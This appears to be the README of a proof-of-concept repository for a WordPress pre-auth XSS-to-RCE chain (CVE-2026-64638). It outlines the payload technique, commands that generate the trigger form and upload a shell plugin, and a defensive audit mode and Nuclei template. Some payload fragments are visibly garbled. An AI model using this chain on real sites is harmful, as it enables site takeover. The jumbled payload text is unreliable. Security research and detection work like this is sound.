boreas37/cve-2026-64638-poc-xss2shell-XSS2Shell (CVE-2026-64638) WordPress pre-auth XSS to RCE chain — PoC exploit + defensive audit tool + nuclei template
CVE-2026-64638 · Reflected XSS on wp-login.php · CVSS 8.9 (v4.0) · Patched in WordPress 7.0.3
⚠️ AUTHORIZED TESTING ONLY. This tool is for security research and authorized penetration testing against systems you own or have explicit written permission to test. Unauthorized use is illegal in most jurisdictions. The researcher (PWN.AI) disclosed this on 2026-08-07; WordPress shipped the fix in 7.0.3 the same day.
XSS2Shell is a pre-authentication XSS to code-execution chain affecting WordPress Core (all versions back to 4.7, ~500M+ sites). A single crafted failed-login attempt runs attacker JavaScript in the WordPress origin; against a logged-in administrator it escalates to full RCE.
Public disclosure: https://pwn.ai/blog/xss2shell
wp-login.php reflects the submitted username
via sprintf('<strong>Error:</strong> The username <strong>%s</strong> ...').
(whitespace between and tag name) survives PHP
, then WordPress's KSES sanitizer re-parses it into a .< area id=test><strip_tags()< area id=ajaxurl href=...>, < div id=color-picker class=reset-pass-submit>,
< button class="wp-generate-pw color-option">X.wp-pass.php's delegated click handler fires via
the injected button. The guard user_id === new_user_id is bypassed
(undefined === undefined — both inputs absent on the login page). The
identifier ajaxurl resolves to the injected <area> via HTML named
property access on the Window object.href
(/?rest_route=/&_method=GET&_jsonp=alert&_envelope=1 — JSONP envelope).wp-content/plugins/<slug>/ is
web-accessible without activation).# 1. Non-destructive check — does the target reflect the payload?
python3 xss2shell.py check https://example.com
# 2. DEFENSIVE AUDIT — WordPress hardening report (A-F score)
python3 xss2shell.py audit https://example.com
# Checks: core version vs XSS2Shell/wp2shell, XSS reflection,
# sensitive file exposure (wp-config.bak, .git, debug.log, xmlrpc),
# security headers (CSP/HSTS/XFO), REST user enumeration.
# 3. Generate the trigger HTML form (XSS stage)
python3 xss2shell.py exploit --target example.com > trigger.html
# 4. RCE stage (lab only — needs admin application password)
python3 xss2shell.py shell https://example.com --app-password "XXXX XXXX XXXX XXXX XXXX XXXX"
# 5. Emit the plugin zip without uploading
python3 xss2shell.py zip --out xss2shell-plugin.zip
Requires: Python 3.8+ stdlib only — no third-party dependencies.
$ python3 xss2shell.py audit https://target.example
================================================================
WORDPRESS SECURITY AUDIT (defensive mode)
Target: https://target.example
================================================================
[CRITICAL] WordPress 6.9.4 — CVE-2026-64638 (XSS2Shell) VULNERABLE, 7.0.3+ required
[CRITICAL] wp-login.php XSS reflection PRESENT — CVE-2026-64638 active, update immediately!
[HIGH] Leak: /xmlrpc.php HTTP 405
[WARN] Header X-Frame-Options missing — clickjacking protection recommended
...
SECURITY SCORE: F (91 risk points) — Critical risk — act immediately!
trigger.html, submit it (or auto-submit via JS) against the target
login page → XSS fires in the victim's browser.authorize-application.php is abused to mint an
application password.shell to upload the plugin zip./wp-content/plugins/xss2shell/xss2shell.php — {"rce":true,...}.A ready-to-use Nuclei template is included: nuclei-CVE-2026-64638.yaml
# Scan a single target
nuclei -t nuclei-CVE-2026-64638.yaml -u https://example.com
# Scan a list of targets
nuclei -t nuclei-CVE-2026-64638.yaml -l targets.txt
The template detects the parser differential (reflected < area element on
wp-login.php) with two payload variants and is verified against both
vulnerable (6.9.4) and patched (7.0.3+) installations.
Note: a functionally identical template was merged upstream into nuclei-templates via PR #16785 — this copy is maintained here for standalone use.
MIT License — see LICENSE.
Note: This PoC is published for defensive research and educational purposes. Use only against systems you own or are authorized to test.